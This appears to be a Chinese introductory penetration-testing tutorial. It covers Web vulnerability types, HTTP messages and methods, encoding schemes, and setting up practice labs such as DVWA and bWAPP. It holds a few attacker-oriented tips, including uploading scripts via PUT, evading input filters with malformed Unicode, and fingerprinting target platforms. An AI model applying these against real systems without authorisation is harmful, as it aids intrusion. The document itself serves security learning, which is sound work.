打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
渗透测试
userphoto

2023.11.12 广东

关注

Web应用程序安全与风险

1.web发展历程

静态内容阶段(HTML)

CGI程序阶段(增加了APA接口,可以动态)

脚本语言阶段(ASP,PHP,JSP等)

瘦客户端应用阶段(独立于WEB服务器的应用服务器)

RIA应用阶段(DHTML+AJAX可以不用刷新功能内容可变)

移动WEB应用阶段(安卓。Ios )

2.常见的WEB应用程序漏洞

跨站脚本漏洞

弱口令漏洞

SQL注入漏洞

密码重用漏洞

任意文件上传漏洞

密码泄露

远程代码执行漏洞

源代码信息泄露

任意文件下载漏洞

存在入侵痕迹

越权访问

登陆可暴力猜解漏洞

旁注漏洞

文件任意写入漏洞

……

3.核心安全问题和因素

1.核心的安全问题:

用户可向服务器端应用提交任意输入

2.关键问题因素

不成熟的安全意识

独立开发

欺骗性的简化

迅速发展的威胁形势

资源与时间限制

技术上强其所难

对功能需求不对增强

3.新的安全边界

安全边界向用户端转移

在web应用程序出现之前

主要在网络边界上抵御外部攻击,保护这个边界需要对其提供服务进行强化打补丁,设置防火墙。

在web应用程序出现之后

用户要访问应用程序,边界防火墙一定要允许其通过HTTP/HTTPS连接内部服务器,应用程序要实现其功能,必须允许其连接服务器来支持后端系统、数据库、大型主机、金融与后勤系统。

如果存在漏洞,只要提交专门设计的数据就可以公婆组织的核心后端系统,这些数据就像正常,良性数据流一样,穿透组织的所有防御

所以要在应用程序内部执行防御措施 第三方小部件、以及很多跨域集成技术,让服务器端的安全边界跨越了组织本身的边界。

小结

应用程序使用SSL仅仅表示网络其他用户无法查看修改攻击者传送的数据

SSL无法阻止攻击者向服务器提交专门设计的输入

攻击者控制着SSL通道终端,可以向服务器发任何内容

4.做一个有良心的白帽子

1、腾讯http://security. tencent. com

2、网易http://aq. 163. com

3、京东http://security. jd. com

4、百度http/sec. baidu. com

5、补天https://www. but ian. net/

6、漏洞银行https://www. bugbank. cn

7、Sebug http://sebug. net/

8.、freebuf http://www. freebuf. com/

9、wooyun 镜像http://www.anquan.us

10、全球黑客攻防学习站点https://link-base.org

攻防学习网址导航

1、安全圈https://www.anquanquan.info/

HACKED SAFE

Hacked safe

众测平台:

漏洞盒子:www.vulbox.com

CNVD众测平台:http://zc.cnvd.org.cn

5.渗透测试基本流程

渗透测试流程

0.授权

1.信息收集

2.扫描漏洞

3.漏洞利用

4.提权

5.渗透测试报告

————————————————

web请求流程与HTTP方法刨析  

1.HTTP

HTTP超文本传输协议,是访问万维网使用的核心通信协议,也是今天所有web应用程序使用的通信协议。

HTTP使用一种用于消息的模型:客户端发送一条请求信息,服务端返回一条响应消息。

该协议基本上不需要连接,虽然HTTP使用有状态的TCP协议作为他的传输机制,但是每次请求和响应都会自动完成,并且可能使用不同的TCP连接。

1.1HTTP请求

HTTP请求实例:

GET /auth/488/YourDetails.ashx?uid=129 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: https://mdsec.net/auth/488/Home.ashxAccept-Language: zh-cn,zh;q=0.5User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WDW64;Trident/4.0; SLCC2;. NET CLR 2.0.50727;. NET CLR 3.5.30729; .NET CLR3.0.30729; .NET4.OC; InfoPath.3; .NET4.OE; FDM;。NET CLR 1.1.4322)Accept-Encoding: gzip, deflateHost: mdsec.netConnection: Keep-AliveCookie: SessionId=5870C7lF3FD4968935CDB6682E545476

HTTP请求实例分析

get

get:主要作用是从web服务器获取一个资源,存在一个名为uid、值为129的参数;HTTP1.1协议版本(HTTP1.1版本必须使用host请求头)

Accept

Accept表示浏览器支持的MIME类型。

MIME类型分别是:text/html、application/xhtml+xml、application/xml 和 /

text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;

text/html:表示 html 文档;

Application:用于传输应用程序数据或者二进制数据;

application/xhtml+xml表示 xhtml 文档;

application/xml表示 xml 文档

*/*表示支持任何类型

q:表示权重:如果没有则默认为1,表示优先这些类型。实例中0.9 表示前面都没有就用这个,最后的 0.8 表示如果都没有,那么任意的类型都行。

q是权重系数,范围 0 =< q <= 1,q 值越大,请求越倾向于获得其“;”之前的类型表示的内容,若没有指定 q 值,则默认为1,若被赋值为0,则用于提醒服务器哪些是浏览器不接受的内容类型。

Referer

Referer: 用于表示发出请求的原始URL(例如,因为用户单击页面上的一个链接)

(可防下载、盗链、判断非法链接)

Accept-Language

表示浏览器支持的语言:zh-cn表示简体中文、zh表示中文;q表示权重系数。

User-Agent

User-agent消息头提供与浏览器或其他生成请求的客户端软件有关的信息

HOST

用来指定被访问的完整url中的主机名。

如果多个站点以同一服务器为主机就需要使用host主机头。

Accept-Encoding

表示浏览器支持的压缩编码,如:gzip和deflate

Cookie

用于提交服务器向客户端发布的其他参数

Connection

表示持久的客户端与服务连接。

Close和keep

Close较好表示获取到数据后服务器与客户端断开

Keep用户量大会出问题

Upgrade-Insecure-Requests: 1

该指令用于让浏览器自动升级请求从http到https,用于大量包含http资源的http网页直接升级到https而不会报错.简洁的来讲,就相当于在http和https之间起的一个过渡作用。

X_FORWARDED_FOR

是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

1.2HTTP响应

HTTP响应实例

HTTP/1.1 200 OKDate: Tue, 19 Apr 2011 09:23:32 GMTServer: Microsoft-IIS/6.0X-Powered-By: ASP.NETSet-Cookie: tracking=tI8rk7joMx44S2Uu85nSWcX-AspNet-Version: 2.0.50727Cache-Control: no-cachePragma: no-cacheExpires: Thu, 01 Jan 1970 00:00:00 GMTContent-Type: text/html; charset=utf-8Content-Length: 1067www.w3.org/TR/xhtmll/DTD/xhtmll一transitional.dtd'>www.w3.ora/1999/xhtml* >

HTTP响应实例分析

使用的HTTP版本。

表示请求结果的数字状态码。200是最常用的状态码.它表示成功提交了请求,正在返回所请求的资源。

一段文本形式的“原因短语”,进一步说明响应状态。这个短语中可包含任何值,当前浏览器不将其用于任何目的。

响应示例中的其他一些要点如下:

Server消息头中包含一个旗标,指明所使用的Web服务器软件。有时还包括其他信息.如所安装的模块和服务器操作系统。其中包含的信息可能并不准确。

Set-Cookie消息头向浏览器发送另一个cookie.它将在随后向服务器发送的请求中由Cookie消息头返回。

Pragma消息头指示浏览器不要将响应保存在缓存中。Expires消息头指出响应内容已经过期.因此不应保存在缓存中。当返回动态内容时常常会发送这些指令,以确保浏览器随时获得最新内容。

几乎所有的HTTP响应在消息头后的空白行下面都包含消息主体,Content-Type消息头示这个消息主体中包含一个HTML文档。

Content-Length消息头规定消息主体的字节长度。

ETag: W/“59a3dc83-f61” 浏览器根据HTTP请求的ETag验证请求的资源是否发生了改变,如果它未发生变化,服务器将返回“304 Not Modified”响应,并且资源从浏览器缓存中读取,这样就不必再次下载请求。

Vary:Accept-Encoding”标头,表示网站一般启用了GZip压缩

Expires是RFC 2616(HTTP/1.0)协议中和网页缓存相关字段。用来控制缓存的失效日期

1.3HTTP消息头总结

1.常用消息头

Connection

用于告诉通信另一端 ,在完成HTTP传输后关闭TCP连接,还是保持连接开放以接受其他消息。

Content-Encoding

为消息主体中的内容指定编码形式(如gzip),程序通过它来压缩响应以加快传输速度。

Content-length

用与规定消息主体的字节长度,

Content-type

用于规定消息主体的内容类型。如:HTML文档的内容类型为text/html

Transfer-Encoding

指定编码

2.请求消息头

Accept

用于告诉服务器客户端愿意接受那些内容。

Accept-Encoding

用于告诉服务器客户端愿意接受那些内容编码。

Authorization

这个消息头用于为一种内置HTTP身份验证向服务器提交证书。

Cookie

这个消息头用于向服务器提交它以前发布的cookie.

Host

这个消息头用于指定出现在所请求的完整URL中的主机名称。

If-Modified-Since

这个消息头用于说明浏览器最后一次收到所请求的资源的时间。如果自那以后资源没有发生变化,服务器就会发出一个带状态码304的响应,指示客户端使用资源的缓存副本。

If-None-Match

这个消息头用于指定一个实体标签。实体标签是一个说明消息主体内容的标识符。当最后一次收到所请求的资源时.浏览器提交服务器发布的实体标签。服务器可以使用实体标签确定浏览器是否使用资源的缓存副本。

Origin

这个消息头用在跨域Ajax请求中,用于指示提出请求的域。

Referer

这个消息头用于指示提出当前请求的原始URL。

User-Agent

这个消息头提供与浏览器或生成请求的其他客户端软件有关的信息。

3.响应消息头

Access-Control-Allow-Origin

这个消息头用于指示可否通过跨域Ajax请求获取资源。

Cache-Control

这个消息头用于向浏览器传送缓存指令(如no-cache)。

ETag

这个消息头用于指定一个实体标签。客户端可在将来的请求中提交这个标识符。获得和If-None-Match消息头中相同的资源,通知服务器浏览器当前缓存中保存的是哪个版本的资源。

Expires

这个消息头用于向浏览器说明消息主体内容的有效时间。在这个时间之前,浏览器可以使用这个资源的缓存副本。

Location

这个消息头用于在重定向响应(那些状态码以3开头的响应)中说明重定向的目标。

Pragma

这个消息头用于向浏览器传送缓存指令(如no-cache).

Server

这个消息头提供所使用的Web服务器软件的相关信息。

Set-Cookie

这个消息头用于向浏览器发布cookie.浏览器会在随后的请求中将其返回给服务器。

WWW-Authenticate

这个消息头用在带401状态码的响应中,提供与服务器所支持的身份验证类型有关的信息。

X-Frame-Options

这个消息头指示浏览器框架是否及如何加载当前响应

1.4HTTP方法

1.GET方法

Get方法的作用在于获取资源。它可以用于URL查询字符串的形式向所请求的资源发送参数。

2.POST方法

POST方法的主要作用是执行操作。使用这个方法可以在URL查询字符串与消息主体中发送请求参数。(提交表单)

3. HEAD

这个方法的功能与GET方法相似,不同之处在于服务器不会在其响应中返回消息主体。服务器返回的消息头应与对应GET请求返回的消息头相同。因此,这种方法可用于检查某一资源在向其提交GET请求前是否存在。

TRACE

这种方法主要用于诊断。服务器应在响应主体中返回其收到的请求消息的具体内容。这种方法可用于检测客户端与服务器之间是否存在任何操纵请求的代理服务器。

OPTIONS

这种方法要求服务器报告对某一特殊资源有效的HTTP方法。服务器通常返回一个包含Allow消息头的响应,并在其中列出所有有效的方法。

PUT

这个方法试图使用包含在请求主体中的内容,向服务器上传指定的资源。如果激活这个方法,渗透测试员就可以利用它来攻击应用程序。例如,通过上传任意一段脚本并在服务器上执行该脚本来攻击应用程序。

(move改名数据包、copy复制数据包、delete删除数据、propfind生成返回有浏览目录权限的内容目录的数据包,最后点提交数据包把生成的数据包提交到服务器)

还有许多其他与攻击Web应用程序没有直接关系的HTTP方法。然而,如果激活某些危险的方法,Web服务器可能面临攻击风险。

1.5URL

标识Web资源的唯一标识符。通过它即可获取其标识的资源。

默认端口80

写在域名后

?id=1(取出数据库id为1的数据返回)

1.6 cookie

是大多数web程序依赖HTTP协议的一个关键组成部分。常通过它利用web程序中的漏洞。

登录时用到,用户信息内容可能存在本地Cookie、

1.7状态码

HTTP响应消息第一行会包含一个状态码。

根据代码的第一个数字分为一下五类:

1XX————提供信息

2XX————请求被成功提交

3XX————客户端被重定向到其他资源

4XX————请求包含某种错误

5XX————服务器执行请求时遇到错误

渗透测试中最有可能遇到的状态码及原因短语

100 Continue 表示已经收到消息请求头,客户端继续发送主体。

200 OK 表示以成功提交请求,且响应主体包含请求结果。

201 creatrd put请求的响应返回这个状态码,表示请求已成功提交。

301 Moved Permanently。本状态码将浏览器永久重定向到另外一个在Location消息头中指定的URL。以后客户端应使用新URL替换原始URL。

302 Found。本状态码将浏览器暂时重定向到另外一个在Location消息头中指定的URL.客户端应在随后的请求中恢复使用原始URL.

304 Not Modified。本状态码指示浏览器使用缓存中保存的所请求资源的副本。服务器使用If-Modified-Since与工f-None-Match消息头确定客户端是否拥有最新版本的资源。

400 Bad Request。本状态码表示客户端提交了一个无效的HTTP请求。当以某种无效的方式修改请求时(例如在URL中插人一个空格符),可能会遇到这个状态码。

401 Unauthorized.服务器在许可请求前要求HTTP进行身份验证。WWW-Authenticate消息头详细说明所支持的身份验证类型。

403 Forbidden。本状态码指出,不管是否通过身份验证,禁止任何人访问被请求的资源。

404 Not Found。本状态码表示所请求的资源并不存在。

405 Method Not Allowed。本状态码表示指定的URL不支持请求中使用的方法。例如,如果试图在不支持PUT方法的地方使用该方法,就会收到本状态码。

413 Request Entity Too Large。如果在本地代码中探查缓冲器滋出漏洞并就此提交超长数据串.则本状态码表示请求主体过长,服务器无法处理。

414 Request URI Too Long。与前一个响应类似,本状态码表示请求中的URL过长,服务器无法处理。

500 Internal Server Error。本状态码表示服务器在执行请求时遇到错误。当提交无法预料的输人、在应用程序处理过程中造成无法处理的错误时,通常会收到本状态码。应该仔细检查服务器响应的所有内容,了解与错误性质有关的详情。

503 Service Unavailable。通常,本状态码表示尽管Web服务器运转正常.并且能够响应请求,但服务器访问的应用程序还是无法作出响应。应该进行核实,是否因为执行了某种行为而造成这个结果。

1.8HTTPS

HTTP使用普通的非加密TCP作为其传输机制.因此,处在网络适当位置的攻击者能够截取这个机制。HTTPS本质上与HTTP一样,都属于应用层协议.但HTTPS通过安全传输机制—安全套接层(Secure Socket Layer, SSL)传送数据。这种机制可保护通过网络传送的所有数据的隐密性与完整性,显著降低非人侵性拦截攻击的可能性。不管是否使用SSL进行传输,HTTP请求与响应都以完全相同的方式工作。

1.9HTTP代理

HTTP代理服务器是协调浏览器与目标web服务器之间访问的服务器

当浏览器使用代理服务器时,它会将所有请求提交到代理服务器,由代理服务器再将请求传送给相关web服务器,并将响应在返回给浏览器。

当浏览器向代理服务器发布HTTP请求时,它会将完整的URL(包括协议前缀 http://与服务器主机名称,在非标准URL中,还包括端口号)插人请求中。代理服务器将提取主机名称和端口,并使用这些信息将请求指向正确的目标Web服务器。

**当使用HTTPS时,**浏览器无法与代理服务器进行SSL握手.因为这样做会破坏安全隧道,使通信易于遭受拦截攻击。因此.浏览器必须将代理作为一个纯悴的TCP级中继,由它传递浏览器与目标Web浏览器之间的所有网络数据,并与浏览器进行正常的SSL握手。浏览器使用CONNECT方法向代理服务器提交一个HTTP清求.并指定URL中的目标主机名称与端口号.从而建立这种中继。如果代理允许该请求,它会返回一个含200状态码的HTTP响应,一直开放TCP连接.从此以后作为目标Web服务器的纯梓TCP级中继。

从某种程度上说,攻击Web应用程序时最有用的工具是一个处在浏览器与目标Web站点之间的专用代理服务器,使用它可以拦截并修改所有使用HTTPS的清求与响应。

1.10 HTTP身份验证

Basic

它在请求消息头中随每条消息以basic64编码字符串的形式发送用户证书。

NTLM

NTLM WindowsNT 挑战/响应验证机制(早期的安全协议)

NTLMv2及Kerberos验证体系(更新的安全按协议)

Digest

是一种相应式机制,随同用户证书一起使用一个随机值MD5校验和。

2.WEB功能

2.1 服务端功能

早期web站点由静态资源组成,如HTML页面与图片;当用户提交请求时,只需将它们加载到Web服务器,再传送给用户即可。每次用户请求某个特殊的资源时,服务器都会返回相同的内容。

如今的Web应用程序仍然使用相当数量的静态资源。但它们主要向用户提供动态生成的内容。当用户请求一个动态资源时.服务器会动态建立响应,每个用户都会收到满足其特定需求的内容。

动态内容由在服务器上执行的脚本或其他代码生成。在形式上,这些脚本类似于计算机程序:它们收到各种输入,并处理输入,然后向用户返回输出结果。

当用户的浏览器提出访问动态资源的请求时,它并不仅仅是要求访问该资派的副本。通常它还会随请求提交各种参数。正是这些参数保证了服务器端应用程序能够生成适合各种用户需求的内容。

HTTP请求使用3种主要方式向应用程序传送参数:

通过URL查询字符串;

通过REST风格的URL的文件路径;

通过HTTPcookie ;

通过在请求主体中使用POST方法。

除了这些主要的输人源以外,理论上,服务器端应用程序还可以使用HTTP请求的任何一个部分作为输人。例如,应用程序可能通过User}Agent消息头生成根据所使用的浏览器类型而优化的内容。

像常见的计算机软件一样.Web应用程序也在服务器端使用大赞技术实现其功能。这些技术包括:

脚本语言,如PHP, VBScript和Perl ;

Web应用程序平台.如ASP.NET和Java;

Web服务器.如Apache, IIS和Netscape Enterprise;

数据库.如MS-SQL, Oracle和MySQL;

其他后端组件,如文件系统、基于SOAP的Web服务和目录服务。

常见的web应用程序平台和语言

Java

它应用多层与负载平衡架构,非常适于模块化开发与代码重复利用。由于其历史悠久、应用广泛,因此.开发者在开发过程中可以利用许多高质最的开发工具、应用程序服务器与框架。Java平台可在几种基础型操作系统上运行,包括Windows、Linux与Solaris,

Ruby on rails

,主要侧重于模型-视图-控制器体系架构。Rail:的主要优势在于,使用它能够以极快的速度创建成熟的数据驱动应用程序。如果开发者遵循Rails编码风格和命名约定,则可以使用Rails自动生成数据库内容的模型、修改该模型的控制器操作以及供应用程序用户使用的默认视图。与其他功能强大的新技术一样,人们已在Ruby On Rails中发现了一些漏洞.包括能够避开“安全模式”,这与在PHP中发现的漏洞类似。

有关最近发现的漏洞的详细信息,请参阅www.ruby-lang.org/en/security/

Sql

结构化查询语言(SQL)用于访问Oracle, MS-SQL服务器和MySQL等关系数据库中的数据。目前,绝大多数的Web应用程序都将基于SQL的数据库作为它们的后端数据仓库,而且,几乎所有应用程序的功能都需要以某种方式与这些数据仓库进行交互。

关系数据库将数据存储在表中,每个表又由许多行和列构成。每一列代表一个数据字段,如“名称”或“电子邮件地址”.每一行则代表为这些字段中的一些或全部字段分配值的项。

SQL使用查询来执行常用的任务,如读取、添加、更新和删除数据。例如,要检索用户的具有指定名称的电子邮件地址,应用程序可以执行以下查询:

select email from users where name=’daf’

要实现它们所需的功能,Web应用程序可能会将用户提交的输人组合到由后端数据库执行的SQL查询中。如果以危险的方式进行组合,攻击者就可以提交恶惫输人来干扰数据库的行为,从而读取和写人敏感数据。我们将在第9章中介绍这些攻击,并详细说明SQL语言及其用法

Xml

可扩展标记语言(XML)是一种机器可读格式的数据编码规范。与其他标记语言一样.XML格式将文档划分为内容(数据)和标记(给数据作注解))。

标记主要用标签表示,它们包括起始标签、结束标签和空元素标签:

起始和结束标签成对出现,其中可以包括文档内容或子元素:

ginger

spotpaws

标签可以包含以名l值对出现的属性:

XML之所以可扩展,是因为它可以使用任意数放的标签和属性名。XML文档通常包含文档

类型定义(DTD ), DTD定义文档中使用的标签、属性及其组合方式。

服务器端和客户端Web应用程序广泛采用XML及由XML派生的技术

Web服务

Web服务使用简单对象访问协议(SOAP)来交换数据。通常,SOAP使用HTTP协议来传送

消息,并使用XML格式表示数据。

典型的SOAP请求如下所示:

POST /doTransfer.asp HTTP/1.0Host: mdsec-mgr.int.mdsec.netContent-Type: application/soap+xml; charset=utf-8Content-Length: 891

soap:Bodypre:Add :xmlns:pre.http://target/list.soap:encodingStyle='http://www.w3.org/2001/12/soap-encodingl>

182810081430False08447656

在使用浏览器访问Web应用程序时很可能会遇到SOAP,服务器端应用程序使用它与各种后端系统进行通信。如果将用户提交的数据直接组合到后端SOAP消息中,就可能产生与SQL注人类似的漏洞。

如果Web应用程序还直接公开Web服务,那么.我们还需要检查这些Web服务。即使前端应用程序是基于Web服务编写的,但它们在箱人处理以及服务本身所披露的功能方面仍存在区别。正常悄况下,服务器会以Web服务描述语言(WSDL)格式公布可用的服务和参数。攻击者可以

使用soapUl之类的工具、基于已公布的WSDL文件创建示例请求,以调用身份验证Web服务.获得身份验证令牌.并随后提出任何Web服务请求。

2.2客户端功能

服务器端应用程序要接收用户输人与操作,并向用户返回其结果,它必须提供一个客户端用户界面。由于所有Web应用程序都通过Web浏览器进行访问.因此这些界面共享一个技术核心。然而,建立这些界面的方法各不相同。

1.HTML

是建立web界面所需的核心技术,是用于描述浏览器所显示的文档结构的基于标签的语言,

XHTML是HTML的进化版本,是基于XML,且采用更严格的规范,以避免由于浏览器必须接受不太严格的HTML格式而导致的各种攻击和安全问题。

2.超链接

客户端与服务器之间的大量通信都由用户单击超链接驱动。**Web应用程序中的超链接通常包含预先设定的请求参数.这些数据项不需由用户输人,而是由服务器将其插人用户单击的超链接的目标URL中,以这种方式提交。**例如,Web应用程序中可能会显示一系列新闻报道链接,其形式如下:

What’s happening?

当用户单击这个链接时,浏览器会提出以下请求:

GET /news/8/?redir=/updates/update29.htm1 HTTP/1.1

Host: mdsec.net

服务器收到查询字符串中的参数(newsid ).并使用它的值决定向用户返回什么内容。

3.表单

虽然基于超链接的导航方法负责客户端与服务器之间的绝大多数通信,但许多Web应用程序还是需要采用更灵活的形式收集输入,并接收用户输人。HTML表单是一种常见的机制,允许用户通过浏览器提交任意输入。以下是一个典型的HTTP表单:

2.3状态与会话

为实现各种有用的功能.应用程序需要追踪每名用户通过不同的请求与应用程序交互的状态。例如,一个购物应用程序允许用户浏览产品目录、往购物车内添加商品、查看并更新购物车内容、结账并提供个人与支付信息。

为实现这种功能,应用程序必须维护一组在提交各种请求过程中由用户操作生成的有状态数据。这些数据通常保存在一个叫做会话的服务器端结构中。当用户执行一个操作(如在购物车中添加一件商品)时,服务器端应用程序会在用户会话内更新相关信息。以后用户查看购物车中的内容时,应用程序就使用会话中的数据向用户返回正确的信息。

在一些应用程序中,状态信息保存在客户端组件而非服务器中。服务器在响应中将当前的数据传送给客户端,客户端再在请求中将其返回给服务器。当然.由于通过客户端组件传送的任何数据都可被用户修改,因此,应用程序需要采取措施阻止攻击者更改这些状态信息,破坏应用程序的逻辑。ASP.NET平台利用隐藏表单字段ViewState保存与用户的Web界面有关的状态信息,从而减轻服务器的工作负担。默认情况下ViewState的内容中还包括一个密钥散列,以防止受到破坏。

因为HTTP协议本身并没有状态.为使用正确的状态数据处理每个请求,大多数应用程序需要采用某种方法在各种请求中重新确认每一名用户的身份。通常,应用程序会向每名用户发布一个令牌.对用户会话进行唯一标识.从而达到这一目的。这些令牌可使用任何请求参数传输.但许多应用程序往往使用HTTP cookie来完成这项任务。

3.编码方案

1.url编码(工具可转换)

URL编码方案主要用于对扩展ASCII字符集中的任何有问题的字符进行编码,使其可通过HTTP安全传输。任何URL编码的字符都以%为前缀,其后是这个字符的两位十六进制ASCII代码。

常见的url编码字符:

 %3d代表=

 %25代表%

 %20代表空格

 %0a代表换行

 %00代表空字节

2.Unicode编码

Unicode是一种为支持全世界所使用的各种编写系统而设计的字符编码标准,它采用各种编码方案.其中一些可用于表示Web应用程序中的不常见字符。

16位Unicode编码的工作原理与URL编码类似**。为通过HTTP进行传输16位Unicode编码的字符以u为前缀,其后是这个字符的十六进制Unicode码点。**例如:

%u2215代/

%u00e9代表

**UTF-8是一种长度可变的编码标准.它使用一个或几个字节表示每个字符。为通过HTTP进行传输,UTF-8编码的多字节字符以毛为前缀,其后用十六进制表示每个字节。**例如:

%c2%a9代表

%e2%89%a0代表

攻击Web应用程序时之所以要用到Unicode编码,主要在于有时可用它来破坏输入确认机制。如果输入过滤阻止了某些恶意表达式.但随后处理输入的组件识别Unicode编码,就可以使用各种标准与畸形Unicode编码避开过滤。

3.HTML编码

HTML编码是一种用于表示问题字符以将其安全并入HTML文档的方案。有许多字符具有特殊的含义(如HTML内的字符),并被用于定义文档结构而非其内容。为了安全使用这些字符并将其用在文档内容中,就必须对其进行HTML编码。

HTML编码定义了大量HTML实体来表示特殊的字面量字符.例如:

'代表”

&apos:代表’

&代表&

<代表<

&g:;代表>

此外,任何字符都可以使用它的十进制ASCII码进行HTML编码.例如:

'代表”

#39;代表’

或者使用十六进制的ASCII码(以x为前缀),例如:

'代表”

'代表’

当攻击Web应用程序时,HTML编码主要在探查跨站点脚本漏洞时发挥作用。如果应用程序在响应中返回未被修改的用户输人,那么它可能易于受到攻击,但是,如果它对危险字符进行HTML编码也许比较安全。

4.Base64编码

Base64编码仅用一个可打印的ASCII字符就可安全转换任何二进制数据.它常用于对电子邮件附件进行编码,使其通过SMTP安全传输。它还可用于在基本HTTP验证机制中对用户证书进行编码。

Base64编码将输人数据转换成3个字节块。每个块被划分为4段,每段6个数据位。这6个数据位有64种不同的排列组合,因此每个段可使用一组64个字符表示。Base64编码使用以下字符集其中只包含可打印的ASCII字符:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789-/

如果最后的输人数据块不能构成3段输出数据,就用一个或两个等号(=)补足输出。

例如,The Web Application Hacker’s Hand book的Base64编码为:

VGh1IFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==

许多Web应用程序利用Base64编码在cookie与其他参数中传送二进制数据,甚至用它打乱敏感数据以防止即使是细微的修改。应该总是留意并解码发送到客户端的任何Base64数据。由于这些数据使用特殊的字符集,而且有时会在字符串末尾添加补足字符(二),因此可以轻易辨别出Base64编码的字符串。

5.十六进制编码

许多应用程序在传送二进制数据时直接使用十六进制编码,用ASCII字符表示十六进制数据

块。例如,对cookie中的用户名daf进行十六进制编码,会得到以下结果:

646166

和Base64编码的数据一样,十六进制编码的数据通常也很容易辨认。为了解十六进制编码的

功能应当对服务器发送到客户端的任何十六进制数据进行解码。

6.远程和序列化框架

近些年出现了各种用于创建用户界面的框架,这些框架中的客户端代码可以远程访问服务器端实施的编程API。利用这些框架.开发者可以在一定程度上忽略Web应用程序的分布式本质,而以与开发传统桌面应用程序类似的方式编写代码。这些框架通常提供客户端上使用的存根API,它们还能够自动处理以下两个任务:通过这些API远程调用相关服务器端功能,对传送给上述功能的任何数据进行序列化。

这类远程和序列化框架包括:

Flex和AMF;

Silverlight和WCF;

Java序列化对象。

ThinkPHP

Struts2

Web常识拓展:

1.静态 动态语言区别

答: 动态语言:服务端和客户端代码不一致(如html)

静态语言:服务端和客户端代码一致(如: asp,php,aspx,jsp)

2。常见的脚本语言有那些

答: asp 、php、 aspx、 jsp、 cgi、 war、 do、 py、 pl

3.常见的数据库有那些

答: access mysql mssql(sqlserver) oracle postsql db2

4.常见的数据库与脚本语言搭配

答:asp+access,asp+mssql,php+mysql,aspx+mssql aspx+oracle,jsp+oracle, jsp+mssql等

5.系统、脚本语言、中间件如何组合

答:Windows2003/2008/2012+asp、aspx、php+iis6.0/7.0+7.5

Apache+Windows/Linux+PHP Windows/Linux+Tomcat+JSP

6.渗透测试过程中如何查看对方网站平台

答:1、工具(RASS、天镜、NMAP、X-SCAN) 2、第三方平台(seo.chinaz.com) 3、通过ping观看TTL值

渗透测试攻防环境搭建  

1. VMware虚拟机下载与安装

官网下载地址:

https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html

安装:

下一步即可、不多做说明。

2.Windows和Kali操作系统安装

1.Windows系列:

Xp、7、Server 2003、Server 2008

镜像下载地址:

MSDN:

https://msdn.itellyou.cn/

https://next.itellyou.cn/

安装:

虚拟中安装即可,不做说明。

2.kali

下载地址

https://www.kali.org/downloads/

安装:

1.KALI Linux 是一个基于Debian 的Linux发行版,所以在虚拟机中选择客户机操作系统及版本要选择Debian系列。

2.为了安装方便在安装界面选择图形界面安装(Graphical install)

3.设置网络

vi/etc/network/interfaces

auto eth0 //指定eth0网卡

iface eth0 inet static //静态地址(动态获取用dhcp)

address 192.168.0.133 //IP地址

netmask 255.255.255.0 //子网掩码

gateway 192.168.0.1 //默认网关

重启网络/etc/init.d/networking restart

4.替换yum源

root@kali:~# vi /etc/apt/sources.list

将原有的更新源用#注释掉

中科大源(够用了)

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

5.升级kali

升级指令:“apt-get update && apt-get upgrade”6.

3.apache,nginx,lighttpd,tengine等php攻防环境搭建

注意:为了节省搭建渗透环境的成本及时间使用PHP study即可

1.phpstudy安装与使用

下载地址:

https://www.xp.cn/

https://www.xp.cn/download.html

安装:

下一步即可,不多做说明

2.PHP study集成环境下需搭建的平台

(bwapp、pikachu、dvwa、phpcms)

Bwapp:

在WWW中创建一个Bwapp文件夹

把bwapp文件转移进去

在admin目录下设置文件,修改账号密码 连接用户localhost 数据库登录名root数据库密码 root 数据库名bwapp 创建网站后用户名bee 密码bug

在浏览器地址栏 Ip地址bwapp/bwapp/install.php

installed安装成功

ok

pikachu

在WWW中创建一个pikachu文件夹

把pikachu文件转移进去

浏览器进入pikachu文件夹ubstall.php

初始化安装

ok

DVWA

在WWW中创建一个DVWA文件夹

把dvwa文件转移进去

把config.inc.php.dist的dist去掉

设置文件,修改账号密码 连接用户127.0.0.1数据库登录名admin数据库密码 password 数据库名dvwa 创建网站后用户名admin 密码password

创建数据库

Ok

phpcms搭建

在WWW中创建一个phpcms文件夹

把文件转移进去

在浏览器地址栏 Ip地址phpcms/instal/linstall.php

开始安装

账号root密码root超级管理admin密码123456

index.php开始使用

mysql知识补充

连接数据库

mysql -h 要连接的数据库地址 -u用户 -p密码

导出备份

mysqldump -h导入地址 -P端口号 -u用户名 -p密码 想导出的库>c:\sql.sql

导入

mysql -h127.0.0.1 -uroot -proot sql < sql.sql

也可以通过source 命令导入

source 命令导入数据库需要先登录到数库终端:

mysql> create database abc; # 创建数据库

mysql> use abc; # 使用已创建的数据库

mysql> set names utf8; # 设置编码

mysql> source c:/sql.sql # 导入备份数据库

更改漏洞文件连接方式与数据库信息一致,访问数据库?id=1

有时版本不一样连接方式可能不同,出现错误

4.asp+aspx+mssql攻防环境搭建asp、aspx攻防程序部署

1.安装IIS及相关环境

虚拟机中打开Windows server 2003—控制版面—添加程序—添加asp.net

(注意:上面的操作要确保装入Windows server 2003 光盘镜像)

打开刚安装的IIS—禁用默认网站—点开web服务扩展—启用Active Server Pages

在C盘中创建www文件夹—将wwwtest.rar(里面是要用到的一些asp\aspx网站文件包)解压到www文件夹中。

打开iis –-新建网站—填写IP—端口—路径选www中的网站文件—网站访问权限(读取、运行脚本)–完成

在左侧网站栏—选择新建好的网站右键属性—主目录—配置—选项—启用父目录—文档中添加默认首页index.asp

2.安装sql server 2008

安装.Net框架(4.0版本)

将sql server 2008镜像文件挂载在Windows server 2003系统—从光盘打开setup.exe—安装时功能全选–对所有SQLSERVER服务使用相同账户(创建超级账户),浏览,高级,立即查找,设置密码–身份验证模式混合验证,添加一个管理员,为当前用户

打开sql server 管理控制台(SQL Server Management Studio)–导入库—附加数据库即可

在iis中建站—路径为sql server即可。

